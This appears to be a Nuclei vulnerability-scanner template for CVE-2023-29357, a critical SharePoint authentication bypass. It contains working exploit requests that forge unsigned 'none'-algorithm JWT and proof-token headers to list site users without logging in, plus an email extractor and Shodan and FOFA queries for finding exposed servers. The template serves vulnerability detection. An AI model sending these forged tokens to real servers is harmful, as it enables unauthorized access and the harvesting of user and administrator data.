66 lines
2.4 KiB
YAML
66 lines
2.4 KiB
YAML
id: CVE-2023-29357
|
|
|
|
info:
|
|
name: Microsoft SharePoint - Authentication Bypass
|
|
author: pdteam
|
|
severity: critical
|
|
description: |
|
|
Microsoft SharePoint Server Elevation of Privilege Vulnerability
|
|
reference:
|
|
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29357
|
|
- https://srcincite.io/advisories/src-2020-0022/
|
|
- https://github.com/Chocapikk/CVE-2023-29357
|
|
- https://sec.vnpt.vn/2023/08/phan-tich-cve-2023-29357-microsoft-sharepoint-validatetokenissuer-authentication-bypass-vulnerability/
|
|
- https://starlabs.sg/blog/2023/09-sharepoint-pre-auth-rce-chain/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-29357
|
|
epss-score: 0.76124
|
|
epss-percentile: 0.97814
|
|
cpe: cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: microsoft
|
|
product: sharepoint_server
|
|
shodan-query: http.headers_hash:-1968878704
|
|
fofa-query: app="Microsoft-SharePoint"
|
|
tags: cve,cve2023,microsoft,sharepoint_server
|
|
variables:
|
|
client_id: "00000003-0000-0ff1-ce00-000000000000"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /_api/web/siteusers HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Authorization: Bearer
|
|
- |
|
|
GET /_api/web/siteusers HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: application/json
|
|
Authorization: Bearer {{generate_jwt("{\"aud\":\"{{client_id}}@{{realm}}\",\"iss\":\"{{client_id}}\",\"nbf\":1695987703,\"exp\":2011547223,\"ver\":\"hashedprooftoken\",\"nameid\":\"{{client_id}}@{{realm}}\",\"endpointurl\":\"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\":1,\"isloopback\":true}","none")}}AAA
|
|
X-PROOF_TOKEN: {{generate_jwt("{\"aud\":\"{{client_id}}@{{realm}}\",\"iss\":\"{{client_id}}\",\"nbf\":1695987703,\"exp\":2011547223,\"ver\":\"hashedprooftoken\",\"nameid\":\"{{client_id}}@{{realm}}\",\"endpointurl\":\"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\":1,\"isloopback\":true}","none")}}AAA
|
|
|
|
extractors:
|
|
- type: regex
|
|
part: header
|
|
group: 1
|
|
name: realm
|
|
regex:
|
|
- realm="([^"]*)"
|
|
internal: true
|
|
|
|
- type: json
|
|
json:
|
|
- .value[].Email
|
|
matchers:
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- LoginName
|
|
- Email
|
|
- IsSiteAdmin
|
|
condition: and
|